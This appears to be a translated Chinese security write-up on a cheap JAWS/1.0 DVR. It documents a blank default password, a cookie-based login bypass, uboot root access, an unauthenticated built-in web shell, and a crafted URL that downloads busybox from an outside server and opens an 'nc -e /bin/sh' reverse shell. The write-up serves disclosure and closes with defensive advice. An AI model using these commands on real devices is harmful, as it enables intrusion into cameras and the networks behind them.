閉路電視探頭究竟有多不安全?
閉路電視探頭在我們的生活中無所不在。最近的調查估計全英國大概有185萬的監控攝像頭，大部分都在私人住宅。大部分的探頭都會連接到某些錄像設備，也就是數字錄像機(DVR)。
DVR會把多個攝像頭的錄像儲存到一個硬盤上。它們不僅能夠在屏幕上顯示圖片，大部分還能聯網，用戶可以通過瀏覽器或者客戶端來連接。
當然商家和戶主都會想要遠程進入DVR，DVR設備通過端口轉發連接到互聯網，也正因為如此，我們可以在Shodan上找到大量的DVR設備。
所以我們打算買個廉價的DVR，看看還會不會有更加糟糕的情況。
經過幾小時的挖掘我們便發現了以下的問題：
容易被找到
這款DVR會運行一個客戶web服務器，它的HTTP服務器頭很具標志性：“JAWS/1.0”。在Shodan上搜索這個關鍵字我們找到44,000個設備。
弱口令問題
默認情況下，這款設備的用戶名是admin，密碼為空。
連接電視后使用DVR的本地界面就可以更改密碼。但設備中沒有鍵盤，所以可以肯定大量的這款DVR使用的是默認密碼。
雖然弱口令已經是老掉牙的問題了，但是還是物聯網領域中普遍的問題。
Web驗證繞過
首次訪問DVR的時候顯示的是index.html頁面，這個頁面可以讓你輸入用戶名密碼，驗證成功后，你就會被重定向到view2.html。
奇怪的是，當我們清空cookies，訪問view2.html時，我們看到頁面渲染了一下，然后再把我們重定向到index.html讓我們輸密碼。
這基本上就是JavaScript客戶端驗證的標志了。檢查view2.js，我們發現是這樣的：
- $(document).ready(function(){
- dvr_camcnt =Cookies.get(“dvr_camcnt");
- dvr_usr =Cookies.get("dvr_usr");
- dvr_pwd =Cookies.get("dvr_pwd");
- if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)
- {
- location.href= "/index.html";
- }
只要這三個cookie有任意值，你就可以訪問了(dvr_camcnt得是2、4、8或24)。
手動設置這些cookie我們就能訪問了。也就是說，我們無需知道用戶名密碼。
打開串號控制臺
雖然拿到Web界面控制已經很好玩了，但我還要root shell。
打開機器上面的蓋子之后，我們發現了J18。這是個115200串口，雖然我能看到輸出，但是沒有shell，也沒地方輸入。
重啟設備后我們發現它使用的是uboot，這是一款非常常見的開源boot loader。按任意鍵就能中斷uboot。不過你只有一秒鐘中斷uboot，所以可能得多嘗試幾次。
我們現在就進入了uboot控制臺。我們可以修改啟動參數，改為單用戶模式，我們就無需密碼登陸了。
setenv bootargs ${bootargs) single
boot
現在DVR就進入了單用戶模式，我們也有了root shell，我們可以做點猥瑣的事了。
內置web shell
本地root shell不錯，但我還想要遠程shell。
查看固件后我們發現，大部分的功能都是在dvr_app里面的，包括web服務器。盡管web界面中有cgi-bin目錄，但我在文件服務器上沒找到這個目錄，有可能dvr_app在內部處理了這個目錄。這樣的情況在嵌入設備中非常普遍。
對這個二進制文件使用strings命令，就能看到cgi-bin了。而且我們還看到了其他的值，包括moo和shell。
訪問moo目錄是這么個情況：
訪問shell目錄會一直加載，但訪問shell?ps時就能看到進程列表了：
因此我們就拿到了一個遠程，并且無需認證的shell，這個shell無法禁止，是設備里面自帶的。
無需密碼登錄Telnet
設備在23端口運行telnet，但需要root密碼。即使我們能夠看到/etc/passwd和解密hash，我們還是拿不到密碼。
我們通過密碼破解器看看能不能拿到密碼，但這要花點時間。
為了解決這個問題，我們使用遠程web shell開啟一個新的已經登錄的telnet daemon：
http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25
現在我們可以登錄telnet了。
反彈shell
攻擊者可以用反彈shell讓DVR反向連接到他所控制的主機。只要用戶有出口連接，這招就很管用，這是繞過NAT和防火墻的好辦法。家庭企業和小型企業網絡大多不會進行出站的過濾。
一般我們會用netcat建立反彈shell。跟其他小型嵌入式設備一樣，這款DVR使用busybox來提供發亮的shell功能。這些命令是任意的。很遺憾netcat不能用，但我們可以解決。
DVR使用的是ARM處理器。也就是說基本上不可能直接下載netcat或busybox了，我們得進行編譯。
為嵌入式系統進行編譯很尷尬的，尤其是你得要跟硬件交互的時候。還好busybox和netcat的要求不多。我們只需要為架構創建靜態鏈接二進制。這個得是要靜態鏈接的，這樣就能避免對庫的依賴。這樣會使二進制文件變大，不過這款設備上沒有磁盤空間挺寬裕。
編譯完成后我們就拿到DVR上試試。
找一個可寫目錄。大部分的文件系統都是只讀的，你甚至無法更改密碼添加用戶。這畢竟是個DVR，所以我們弄了個硬盤，加載在/root/rec/a1下。
用wget下載編譯的busybox二進制到這個目錄
把busybox設為可執行
運行netcat反彈shell
命令如下：
http://192.168.3.101/shell?cd /root/rec/a1 && wget%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%31%36%31%2f%62%75%73%79%62%6f%78%20 && chmod %2bx busybox&& ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh
Wget的網址得要經過編碼，實際的網址是：
我們服務器上的netcat就監聽到一個連接了，通過訪問構造好的URL我們就可以與DVR進行交互了。
發送截屏至硬編碼的郵箱
進一步檢查dvr_app二進制，我們發現了一些很奇怪的功能。
不知道為何，第一個攝像頭的截屏會被發送到lawishere@yeah.net。
發送DVR截屏的行為嚴重威脅到了隱私。
而且奇怪的是，有人曾經在Frank Law的GitHub頁面上報告過這一情況：
https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1
然后他撤下了這個項目。
其他問題
事情到此并沒有完全結束。這款設備還有其他的問題：
如果你通過web服務器獲得了shell或者命令注入，你就沒必要提權了，你已經是root了。
這款設備沒有CSRF保護，你可以誘騙用戶點擊鏈接，就能以他們的身份執行動作。
沒有帳號鎖定或者防爆破措施。你可以一直猜密碼下去，唯一的限制頻率的就是設備本身的運行速度。
沒有HTTPS。所有通信都是以明文方式發送，可以被攔截，可以被篡改。
沒有固件升級
我們的建議
把這些設備放到互聯網上，你就會面臨嚴重的安全風險。如果你把web界面端口轉發，你就等于讓攻擊者完全控制這個設備。然后他們還可以以此作為跳板從內部攻擊你網絡中的其他設備。
